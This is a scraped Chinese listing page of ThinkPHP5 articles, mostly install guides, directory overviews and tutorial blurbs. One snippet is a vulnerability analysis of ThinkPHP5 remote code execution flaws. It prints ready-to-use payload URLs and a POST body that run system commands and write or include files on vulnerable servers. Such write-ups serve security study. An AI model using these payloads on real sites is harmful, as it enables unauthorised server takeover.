精华内容
下载资源
问答
  • ThinkPHP5

    2019-04-21 13:21:41
    THINKPHP5 首先作为一个入门的PHPER,肯定是听过这个框架了对吧。所以这里也只讲讲官方手册中写的不是很清楚地地方,以便新手顺利跨坑。记得点赞啊。我们先打开这份手册看看...

    THINKPHP5

     

    首先作为一个入门的PHPER,肯定是听过这个框架了对吧。所以这里也只讲讲官方手册中写的不是很清楚地地方,以便新手顺利跨坑。记得点赞啊。我们先打开这份手册看看(https://www.kancloud.cn/manual/thinkphp5/118003)。相信大家都很熟悉了吧。首先我们先从入口文件开始说明。THINKPHP5与THINKPHP3.2不同的是,5中把入口文件移动到了主项目文件夹下的public目录里面。所以对于刚拿着5的框架的时候,难免有些慌乱,一慌乱整个人就都傻眼了。当人很多人都会问那我想移入到项目的根目录下可以嘛,答案是肯定可以的。但是因为移动了index.php入口文件的位置,所以,index.php中的文件也要做相应的改变。至于怎么修改请详见官方手册,部署目录下的,虚拟机部署子菜单察看。接着这一步完事儿之后就可以开始接着往下走了。对于3.2.3的时候大家都喜欢前后台分离对吧。5.0也可以的,在手册路由绑定菜单中,具体使用的东西是在入口文件中define一个常量即可。
    第二个红色箭头处指向了一个index,这里的意思是说,这个index.php文件对应绑定到app下面的的index模块。当然你想要个后台如何绑定啦。复制一份index.php文件,重命名为admin.php,编辑admin.php,定义常量BIND_MODULE并在逗号后填写admin。这样子就让这个入口文件对应到了app文件夹下面的admin模块了。接下来我们再讲讲自动创建目录如何使用,首先在项目的根目录下面,有一个build.php的文件对吧。我们接着打开手册查看命令行菜单中的自动生成目录结构子菜单。里面如图所示
    这是一个数组的结构。index代表的是模块名字。也就是app文件夹下面的文件夹,接着__file__对应的是app/index/下面的文件,比如这个公共文件。然后接着对应的MVC3层加个一个behavior文件夹。整个结构是一个数组,皆是键和值的结构,值有多个用逗号隔开即可。build.php文件修改好了那如何运行命令啦。这里我使用的是PHPstorm,在命令框中输入php think build   ,注意这里对应的build.php文件不是项目根目录下面的那个,如果想要运行项目根目录下面的build.php文件,请使用php think build --config build.php 。肯定有人在捉摸怎么在命令框中输入。如下图所示。
    点一下这个按钮即可。好今天先到这儿。下次再接着讲。

    展开全文
  • ThinkPHP5入门

    千人学习 2018-05-19 10:16:37
    ThinkPHP5初级入门
  • ThinkPHP5项目

    2017-08-28 15:00:05
    ThinkPHP5项目
  • ThinkPHP5快速入门

    2017-12-19 10:04:54
    ThinkPHP5快速入门ThinkPHP5快速入门ThinkPHP5快速入门ThinkPHP5快速入门ThinkPHP5快速入门ThinkPHP5快速入门ThinkPHP5快速入门ThinkPHP5快速入门
  • thinkphp5.chm

    2018-10-23 14:49:55
    thinkphp5.chm,thinkphp5手册,php手册
  • thinkphp5高级手册

    2018-08-11 11:18:21
    thinkphp5高级手册,包括thinkphp5基础版、thinkphp5数据和模型高级版 附带一套比较合理的php代码规范
  • THINKPHP5开发手册

    2018-04-24 22:09:32
    THINKPHP5开发手册
  • ThinkPHP5创建项目

    千次阅读 2017-09-10 21:30:43
    ThinkPHP5

    第一次使用ThinkPHP5,想要借用现有技术搭建框架,创建项目


    运行环境:

    Apache HTTP Server2.4

    php5.5

    ThinkPHP5


    将下载下来的ThinkPHP5文件夹中内容放入Apache目录htdocs文件夹下,启动Apache服务,直接在浏览器中输入

    http://localhost/public 访问即可打开

    下载路径:http://download.csdn.net/download/xiaohuaidan007/9972469


    代码实现:

    实际访问public文件夹下index.php;index.php内容如下

    // 定义应用目录
    define('APP_PATH', __DIR__ . '/../application/');
    // 加载框架引导文件
    require __DIR__ . '/../thinkphp/start.php';


    实际是访问应用服务目录下application项目的内容;具体的映射关系不清楚

    因为目前手里只有一个阿里云的虚拟服务器,不能自主规定应用文件的上传目录,只能上传到默认的htdocs文件夹下,而这种模式下,不能限制客户直接输入路径访问文件夹中内容,所以舍弃ThinkPHP框架;如果是自主的服务器,便可以将application文件夹迁到客户无法直接访问的文件夹下,做限制访问,在此不再做研究,转而去学习dedecms建站,听说这个建站方式可以做访问限制








    展开全文
  • thinkphp5 极验验证

    2017-09-06 13:44:26
    thinkphp5 极验验证 thinkphp5 极验验证thinkphp5 极验验证thinkphp5 极验验证thinkphp5 极验验证thinkphp5 极验验证thinkphp5 极验验证
  • ThinkPHP5官方文档

    2017-06-30 22:27:13
    ThinkPHP5官方文档
  • thinkphp5 excel导入导出

    2018-04-04 14:21:28
    thinkphp5 excel导入导出 thinkphp5 excel导入导出 thinkphp5 excel导入导出
  • Thinkphp5整合excel导入导出Thinkphp5整合excel导入导出Thinkphp5整合excel导入导出Thinkphp5整合excel导入导出Thinkphp5整合excel导入导出Thinkphp5整合excel导入导出Thinkphp5整合excel导入导出Thinkphp5整合excel...
  • Thinkphp5代码执行学习缓存类RCE版本5.0.0<=ThinkPHP5<=5.0.10Tp框架搭建环境搭建测试payload?username=syst1m%0d%0a@eval($_GET[_]);//可以看到已经写入了缓存漏洞分析thinkphp/library/think/Cache.php:126...

    Thinkphp5代码执行学习

    缓存类RCE

    • 版本

    5.0.0<=ThinkPHP5<=5.0.10

    • Tp框架搭建
    b2c68f0185856a7a3c1413de994ebf3e.png
    • 环境搭建
    041a9abf7d56901b80595c3d3ce3279f.png
    • 测试payload
    ?username=syst1m%0d%0a@eval($_GET[_]);//

    可以看到已经写入了缓存

    7319dabfa44c7cb29776add467804f13.png

    漏洞分析

    • thinkphp/library/think/Cache.php:126

    先跟踪一下Cache类的set方法

    729ff1377e352d6ac661d7095cfc2d1d.png
    • thinkphp/library/think/Cache.php:63

    跟踪一下init方法,这里的self::$handler默认值是File,为thinkcachedriverFile 类实例

    cd209d96e0b71d601e4f74b42f825b30.png
    5ae0afddc6aa4ef2cc220b51df632a3e.png
    • thinkphp/library/think/Cache.php:36

    跟进connect方法

    44cef9a2bddf7ac96858b9389469cce0.png

    先打印一下options内容

    array (size=4)  'type' => string 'File' (length=4)  'path' => string '/Applications/MAMP/htdocs/runtime/cache/' (length=40)  'prefix' => string '' (length=0)  'expire' => int 0

    type为file,先赋值一个$name,class为hinkcachedriverFile

    • thinkphp/library/think/cache/driver/File.php:137

    跟踪一下File类的set方法

    08de90d8260629827a09edc087331845.png
    • thinkphp/library/think/cache/driver/File.php:67

    跟进文件名生成方法,程序先获得键名的 md5 值,然后将该 md5 值的前 2 个字符作为缓存子目录,后 30 字符作为缓存文件名。

    08de90d8260629827a09edc087331845.png

    $data变量为序列化的值,没有进行过滤直接将内容写进了缓存,前面有//注释符,可以通过注入换行符绕过该限制。

    57c89020f6e9fc2bc4e2c1720b6232d7.png

    未开启强制路由导致rce

    • 影响版本

    5.0.7<=ThinkPHP<=5.0.22

    • payload

    5.1.x :

    ?s=index/hinkRequest/input&filter[]=system&data=pwd?s=index/hinkviewdriverPhp/display&content=<?php phpinfo();?>?s=index/hinkemplatedriverfile/write&cacheFile=shell.php&content=<?php phpinfo();?>?s=index/hinkContainer/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id?s=index/hinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

    5.0.x :

    ?s=index/thinkconfig/get&name=database.username # 获取配置信息?s=index/hinkLang/load&file=../../test.jpg    # 包含任意文件?s=index/hinkConfig/load&file=../../t.php     # 包含任意.php文件?s=index/hinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
    • 环境搭建
    da23b0001ce975b9031782f75e25c69c.png
    • 测试payload
    index.php?s=index/hinkContainer/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
    607b276117b62e12f944fa9c839049a9.png

    漏洞分析

    默认情况下安装的 ThinkPHP 是没有开启强制路由选项,而且默认开启路由兼容模式

    79138cfa73b6805536966df2e17eca4c.png

    ?s=模块/控制器/方法 所有用户参数都会经过 Request 类的 input 方法处理,该方法会调用 filterValue 方法,而 filterValue 方法中使用了 calluserfunc,尝试利用这个方法。访问如下链接

    *?s=index/hinkRequest/input&filter[]=system&data=whoami

    90db51c7d276d325b9b3b341a5669ef3.png
    • thinkphp/library/think/route/dispatch/Module.php:70

    于获取控制器点打断点

    4f44c4983421da1b8b6fd7236cdc096c.png

    程序会跳到thinkphp/library/think/App.php的run方法,在路由检测地打个断点,重新请求

    • thinkphp/library/think/App.php:583

    于routeCheck方法对路由进行了检测,

    thinkphp/library/think/route/dispatch/Url.php:23

    出来的dispatch为index|hinkRequest|input,将替换成了|,然后进入init方法

    a29425da3f056045b2ebdc31c175bb0a.png
    • thinkphp/library/think/App.php:402

    经过路由检测之后的dispatch为:

    b449738aab58d5071354afb981544e40.png
    • thinkphp/library/think/App.php:431
    6d217f9743be1c24f8c6a57d786fe2e8.png
    • thinkphp/library/think/route/Dispatch.php:168

    跟进Dispatch类的run方法

    3318bbe4c3d9d884856972deb32a113c.png
    • thinkphp/library/think/route/dispatch/Module.php:84

    执行exec函数,跟进函数

    80e663c8718f784db5dafeadd1305a2c.png

    利用反射机制,调用类的方法

    9492a0f1ca9056f8645c5cc491e455ad.png
    • thinkphp/library/think/Container.php:391
    6aeee9f4e225632db4052b09f64fc2b8.png
    • thinkphp/library/think/Request.php:1358

    进入input(),$this->filterValue()处理

    8dc297f7542333e5ac9cb9a6dd2aa3da.png
    • thinkphp/library/think/Request.php:1437

    跟进后执行call_user_func(),实现rce

    9ad009c3018595fa0a6f02ceef0338b6.png

    method任意调用方法导致rce

    • 版本

    5.0.0<=ThinkPHP5<=5.0.23

    • 环境搭建
    53d78c9ba13932509dfd0299fc12d09d.png
    • 测试payload
    f3e917bd724a173d410dc0c2e883ebd3.png

    漏洞分析

    • thinkphp/library/think/Request.php:524

    $method 来自可控的 $_POST 数组,而且在获取之后没有进行任何检查,直接把它作为 Request 类的方法进行调用,同时,该方法传入的参数是可控数据 $_POST,可以随意调用 Request 类的部分方法。

    b0c5446bfc0d0b0d4e9d78142b356105.png
    • 搜索varmethod,值为method
    4bbf4c9bec275d608512360edbf4e577.png
    • thinkphp/library/think/Request.php:135

    查看request类的__construct方法,可以覆盖类属性,那么我们可以通过覆盖Request类的属性.

    d7c5b59cf92f6b39e97a0a8f3136be99.png
    0c1dda177382ea9de7a66ff8094246c4.png
    • thinkphp/library/think/App.php:126

    如果开启了debug,则调用$request->param()方法,

    85ba2ee013683e19bf5777be75e48c58.png
    • thinkphp/library/think/Request.php:637

    跟进param方法,发现调用了$this->method

    fe725853dfd925af65cedddca2bd25fa.png
    • thinkphp/library/think/Request.php:862

    跟踪到server方法,把$this->server 传入了 input 方法,这个this->server 的值,我们可以通过先前 Request 类的 __construct 方法来覆盖赋值,filter 的值部分来自 this->filter ,又是可以通过先前 Request 类的 __construct 方法来覆盖赋值

    98f180f73c3db5801e82dafba642996d.png
    • thinkphp/library/think/Request.php:1034

    进入input方法的filterValue,进入call_user_func回调,造成RCE漏洞的产生

    5f3514bfe88f1bebc4bb4542dd931496.png

    如果没有开启debug

    • thinkphp/library/think/App.php:445

    在exec方法中,当$dispatch['type']等于method或者controller时候,也会调用param()方法

    9f7b9d5ed029f7ae355f181f157e1899.png
    • thinkphp/library/think/Route.php:918

    dispatch['type'] 来源于 parseRule 方法中的 result 变量,$route 变量取决于程序中定义的路由地址方式

    0a2ba03f84c875c50d2ea96e6327db8f.png

    只要是存在的路由就可以使dispatch['type']成立,而在 ThinkPHP5 完整版中,定义了验证码类的路由地址?s=captcha,默认这个方法就能使$dispatch=method从而进入Request::instance()->param(),使条件成立。

    • poc
    POST /index.php?s=captcha HTTP/1.1_method=__construct&filter[]=system&method=get&get[]=ls+-al
    展开全文
  • ThinkPHP5路由完全指南

    2018-04-11 17:33:00
    ThinkPHP5路由完全指南,详细介绍ThinkPHP5路由功能。
  • thinkphp3 与thinkphp5 日志信息泄露检测脚本,亲测有效可用,如有侵权,请联系CSDN管理员删除即可
  • ThinkPHP5.0完全开发手册和ThinkPHP5快速入门,欢迎下载!
  • Thinkphp5 Paypal支付

    2018-10-26 22:07:45
    使用Thinkphp5来开发的Paypal支付功能源码,请结合博客 https://blog.csdn.net/qq_28450919/article/details/83418624 来使用。
  • 基于thinkphp5博客系统

    2017-10-27 18:05:24
    thinkphp5开发的fivecms博客系统thinkphp5开发的fivecms博客系统
  • ThinkPHP5安装

    2018-09-27 17:33:08
     严格来说, ThinkPHP5 无需安装过程,这里所说的安装其实就是把ThinkPHP 框架放入WEB 运行环境(前提是你的WEB运行环境已经OK)。可以通过下面几种方式获取和安装ThinkPHP。 1 TP5三种方式安装 官网下载安装 ...

    thinkphp是国产广泛应用的php框架。

    具有高效方便,封装多种常用方法,快速搭建web应用。

    ThinkPHP5安装

      严格来说, ThinkPHP5 无需安装过程,这里所说的安装其实就是把ThinkPHP 框架放入WEB 运行环境(前提是你的WEB运行环境已经OK)。可以通过下面几种方式获取和安装ThinkPHP。

    1 TP5三种方式安装

    • 官网下载安装

        获取ThinkPHP 的方式很多,官方网站(http://thinkphp.cn)提供了稳定版本或者带扩展完整版本的下载。 注意:官网的下载版本不一定是最新版本,GIT版本获取的才是保持更新的版本。

    • Composer安装

        如果已经安装有 Composer ,可以用composer self-update命令更新Composer 为最新版本。然后在命令行下面,切换到你的web根目录下面并执行下面的命令:

    composer create-project topthink/think tp5 --prefer-dist
    git clone https://github.com/top-think/think tp5

      然后切换到tp5 目录下面,再克隆核心框架仓库:

    git clone https://github.com/top-think/framework thinkphp

      两个仓库克隆完成后,就完成了ThinkPHP5.0 的Git 方式下载,如果需要更新核心框架的时候,只需要切换到thinkphp核心目录下面,然后执行:

    git pull https://github.com/top-think/framework

    2 ThinkPHP5框架

    • TP5 下载完成的目录: 
          ``
      ├─application 应用目录 
      ├─extend 扩展类库目录(可定义) 
      ├─public 网站对外访问目录 
      ├─runtime 运行时目录(可定义) 
      ├─vendor 第三方类库目录(Composer) 
      ├─thinkphp 框架核心目录 
      ├─build.PHP 自动生成定义文件(参考) 
      ├─composer.json Composer定义文件 
      ├─LICENSE.txt 授权说明文件 
      ├─README.md README 文件 
      ├─think 命令行工具入口
    * 核心框架目录的结构如下: 
          ``
    ├─thinkphp 框架系统目录 
    │ ├─lang 语言包目录 
    │ ├─library 框架核心类库目录 
    │ │ ├─think think 类库包目录 
    │ │ └─traits 系统 traits 目录 
    │ ├─tpl 系统模板目录 
    │ ├─.htaccess 用于 apache 的重写 
    │ ├─.travis.yml CI 定义文件 
    │ ├─base.php 框架基础文件 
    │ ├─composer.json composer 定义文件 
    │ ├─console.php 控制台入口文件 
    │ ├─convention.php 惯例配置文件 
    │ ├─helper.php 助手函数文件(可选) 
    │ ├─LICENSE.txt 授权说明文件 
    │ ├─phpunit.xml 单元测试配置文件 
    │ ├─README.md README 文件 
    │ └─start.php 框架引导文件
    
    

    3 ThinkPHP5入口文件index.php

      index.php在public目录下。在ThinkPHP中,按照缺省的设置,编辑应用程序入口文件,包括定义应用程序入口和加载框架引导文件,注意文件的目录结构。当前index.php文件在public目录下,如下所示。

    <?php
    // [ 应用入口文件 ]
    // 定义应用目录
    define('APP_PATH', __DIR__ . '/../application/');
    // 加载框架引导文件
    require __DIR__ . '/../thinkphp/start.php';
    
    

      假设系统安装目录为tp5,则在浏览器端输入:http://localhost/tp5/public/ 
    即可看到欢迎页面:

     

    展开全文
  • ThinkPHP5简易商城开发入门

    千人学习 2018-05-23 21:51:51
    ThinkPHP5简易商城开发入门,学习基本开发及支付宝支付接口
  • ThinkPHP5快速入门手册

    2016-11-17 17:52:12
    最新ThinkPHP 5快速入门手册,学习ThinkPHP好帮手。
  • Thinkphp5开发手册

    2015-12-22 18:00:26
    Thinkphp5开发手册,颠覆性的改版,开发速度更快
  • ThinkPHP5 基于MVC(模型 — 视图 — 控制器)来组织; 模型与视图,用控制器强制分离,数据请求与展示由控制器统一调配! 1.URL默认采用PATH_INFO方式 http://域名 / 入口文件 / 模块 / 控制器 / 操作...
  • thinkphp5 多图片上传

    2018-10-10 17:59:25
    thinkphp5结合plupload前段开发框架实现多图片的上传,修改,删除功能
  • thinkphp5框架|thinkphp5系统|tp5框架|进销存源码|thinkphp开发
  • ThinkPHP5集成GatewayWorker

    2018-08-15 11:37:37
    ThinkPHP5框架中整合GatewayWorker,欢迎下载,一起讨论! GatewayWorker版本:3.0
  • ngnix thinkphp5

    2018-06-27 14:09:12
    https://www.kancloud.cn/manual/thinkphp5_1/353955
  • ThinkPHP5

    千次阅读 2018-07-30 13:03:40
    开发手册地址 https://www.kancloud.cn/manual/thinkphp5/118086 官网有关地址 http://www.thinkphp.cn/topic/9964.html csdn地址 https://blog.csdn.net/nicajonh/article/details/78814987 ...
  • 这篇文章主要介绍了thinkPHP5实现的查询数据库并返回json数据功能,分析了thinkPHP5数据库查询及json格式数据简单操作技巧,需要的朋友可以参考下本文实例讲述了thinkPHP5实现的查询数据库并返回json数据。...
  • Thinkphp5使用

    2017-11-02 16:52:52
    总结:(ThinkPhp5.+ThinkPhp3.+) 下载安装 一、官网下载安装 获取ThinkPHP的方式很多,官方网站( http://thinkphp.cn )提供了稳定版本或者带扩展完整版本的下载。 官网的下载版本不一定是最新版本,GIT版本...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 14,750
精华内容 5,900
关键字:

thinkphp5